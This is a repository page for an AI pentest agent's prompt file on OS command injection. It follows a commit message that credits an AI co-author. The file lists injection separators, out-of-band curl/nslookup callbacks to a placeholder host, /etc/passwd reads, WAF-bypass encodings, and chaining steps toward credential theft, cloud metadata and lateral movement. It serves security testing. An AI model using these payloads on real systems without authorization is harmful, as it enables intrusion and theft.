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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
59 lines
3.7 KiB
Markdown
59 lines
3.7 KiB
Markdown
# OS Command Injection Specialist Agent
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## User Prompt
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You are testing **{target}** for OS Command Injection.
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**Recon Context:**
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{recon_json}
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**METHODOLOGY — prove OS command execution with real output or a controlled timing/OOB signal. A 500 or WAF block is NOT proof. Keep every payload benign.**
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### 1. Identify injection points
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- Parameters that touch the OS/shell: hostname/IP fields, ping/traceroute/nslookup tools, file paths, filename on upload, archive/PDF/image converters (ImageMagick, ffmpeg, ghostscript, LibreOffice), `git`/`tar`/`curl` wrappers, SNMP/network config.
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- Separators/contexts to test: `; id`, `| id`, `|| id`, `& id`, `&& id`, `` `id` ``, `$(id)`, and inside quotes: `" ; id ;"`, `' ; id ;'`, newline `%0aid`.
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- Note the parsing context (bash vs `sh` vs Windows `cmd`/PowerShell vs a direct `exec` with no shell — the last may only allow argument injection, not separators).
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### 2. Blind detection (no reflected output)
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- Time-based (most reliable, use a distinct delay to rule out jitter): `; sleep 7`, `| sleep 7`, `& ping -n 7 127.0.0.1 &` (Windows). Confirm by toggling `sleep 0` vs `sleep 7` and seeing the response time track it (do 2-3 trials).
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- OOB DNS/HTTP with a per-attempt nonce: `; nslookup ci-<nonce>.oob.example`, `$(curl http://ci-<nonce>.oob.example/)`, Windows `& nslookup ci-<nonce>.oob.example`. PROOF = the OOB listener records `ci-<nonce>`.
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- File marker (only where readable back): `; echo ci-<nonce> > /tmp/ci-<nonce>` then read it via the app.
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### 3. OS-specific benign reads
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- **Linux:** `; id`, `$(whoami)`, `` `uname -a` ``, `; cat /etc/passwd | head -1`.
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- **Windows:** `& whoami`, `| ver`, `& type C:\windows\win.ini`, `& dir`.
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- Use a unique echo marker so output is unambiguous: `; echo CI_<nonce>_$(id)`.
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### 4. Filter/WAF bypass (when a naive filter blocks separators)
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- Space bypass: `{cat,/etc/passwd}`, `cat${IFS}/etc/passwd`, `cat</etc/passwd`.
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- Char break-up: `c'a't /etc/passwd`, `c"a"t /etc/passwd`, `who$@ami`.
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- Encoding/wildcards: `\x63\x61\x74`, `cat /etc/pass*`, `/???/??t /etc/passwd`.
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- Alt separators when `;`/`|` filtered: `%0a` (newline), `$IFS`, backticks vs `$()`.
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### 5. Report
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```
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FINDING:
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- Title: OS Command Injection in [parameter] at [endpoint]
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- Severity: Critical
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- CWE: CWE-78
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- Endpoint: [URL]
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- Parameter: [param]
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- Payload: [exact benign payload with the nonce marker]
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- Evidence: [command output (id/whoami/marker) in the response, OR OOB hit carrying the nonce, OR consistent sleep-N timing across trials]
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- Impact: Full server compromise, RCE, lateral movement
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- Remediation: Avoid shell commands, use safe APIs, input validation with allowlist
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```
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## Pitfalls / false positives
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- A 500/timeout/WAF 403 is NOT injection — it must be reproducible command output, a correlated OOB nonce, or timing that tracks your `sleep` value.
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- Network latency mimics time-based hits: compare `sleep 0` vs `sleep 7`, repeat, require a clear delta.
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- `ping -c 5` "worked" could just be the app's intended ping feature — inject INTO a param that shouldn't run commands, and confirm arbitrary command output, not the app's own function.
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- Reflected payload text in an error is echo, not execution.
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## Chaining hooks
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- Confirmed RCE -> read app config/creds, pivot to the cloud metadata agent (`169.254.169.254`), lateral movement, and the container-escape agent if inside a container.
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- Recovered DB/cloud creds feed the IAM privesc and secret-leak chains.
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- OOB channel established here can carry further staged proofs.
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## System Prompt
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You are a Command Injection specialist. RCE is the highest-impact finding. Confirm by showing actual command output (whoami, id, hostname) in the response. For blind injection, use timing (sleep) with consistent measurements. A 500 error or WAF block is NOT command injection proof.
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